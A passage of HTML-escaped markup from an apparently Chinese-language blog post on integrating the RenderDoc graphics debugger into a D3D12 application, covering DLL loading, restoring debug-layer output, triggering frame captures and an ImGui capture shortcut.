class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 如果使用 RenderDoc 启动 App 的话,不重复加载 dll\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHMODULE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetModuleHandleA\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;renderdoc.dll\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLoadLibraryA\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetLibraryPath\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDEBUG_LOG_ERROR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Failed to load RenderDoc library\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRENDERDOC_GetAPI\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereinterpret_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epRENDERDOC_GetAPI\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetProcAddress\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;RENDERDOC_GetAPI\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eret\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRENDERDOC_GetAPI\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_API_Version_1_5_0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereinterpret_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eret\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDEBUG_LOG_ERROR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Failed to get RenderDoc API. Return Code: %d\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eret\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMaskOverlayBits\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_Overlay_None\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_Overlay_None\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 不显示 overlay\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCaptureKeys\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在最后,调用 \u003ccode\u003eMaskOverlayBits\u003c/code\u003e 把 RenderDoc 左上角黑色的 Overlay 信息隐藏掉;调用 \u003ccode\u003eSetCaptureKeys\u003c/code\u003e 把默认的快捷键取消掉。\u003c/p\u003e\n\u003ch2 id=\"D3D12-调试层\"\u003eD3D12 调试层\u003ca class=\"headerlink\" href=\"#D3D12-调试层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e在做 D3D12 开发时,我们通常会开启 D3D12 的调试层,但 RenderDoc 默认情况下禁用了 API Validation 和 Debug Output,使得 D3D12 的调试层失去作用。\u003c/p\u003e\n\u003cp\u003e在加载 RenderDoc 后,调用下面的方法可以解决。\u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCaptureOptionU32\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_Option_APIValidation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCaptureOptionU32\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_Option_DebugOutputMute\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e另外,RenderDoc 会使 \u003ccode\u003eID3D12InfoQueue1\u003c/code\u003e 失去作用,因为它只提供了一个 dummy 的实现。\u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// give every impression of working but do nothing.\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// Just allow the user to call functions so that they don\u0026#39;t\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// have to check for E_NOINTERFACE when they expect an infoqueue to be there\u003c/span\u003e\n\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eDummyID3D12InfoQueue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eID3D12InfoQueue1\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// ...\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eRenderDoc 会使 D3D12 的调试层变得不完整,它本身又有一些额外的开销,所以不建议每次启动应用时都加载 RenderDoc。\u003c/p\u003e\n\u003cp\u003e可以像 Unity 一样,提供一个加载按钮,但是加载 RenderDoc 后需要重新创建图形设备,整个过程是比较麻烦的。也可以提供一个命令行参数 \u003ccode\u003e-load-renderdoc\u003c/code\u003e,仅在有该参数的情况下加载 RenderDoc,修改 VisualStudio 调试器的启动参数就行。\u003c/p\u003e\n\u003ch2 id=\"截帧\"\u003e截帧\u003ca class=\"headerlink\" href=\"#截帧\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::CaptureSingleFrame\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTriggerCapture\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eIsTargetControlConnected\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eShowReplayUI\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLaunchReplayUI\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e调用这个方法后,会立即截一帧,然后打开 RenderDoc 窗口,就像 Unity 一样。\u003c/p\u003e\n\u003ch2 id=\"附加信息\"\u003e附加信息\u003ca class=\"headerlink\" href=\"#附加信息\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e获取截帧和版号信息。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::GetNumCaptures\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eGetNumCaptures\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003etuple\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetVersion\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003emake_tuple\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003everMajor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003everMinor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003everPatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eGetAPIVersion\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003everMajor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003everMinor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003everPatch\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003emake_tuple\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estatic_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003everMajor\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003everMinor\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003everPatch\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"快捷键和-UI\"\u003e快捷键和 UI\u003ca class=\"headerlink\" href=\"#快捷键和-UI\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e这部分用 ImGui 实现,使用快捷键 \u003ccode\u003eAlt+C\u003c/code\u003e 就能截帧。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"UI 效果\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240824233322.png\" /\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMainMenuBar\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eShortcut\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGuiMod_Alt\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGuiKey_C\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGuiInputFlags_RouteAlways\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan 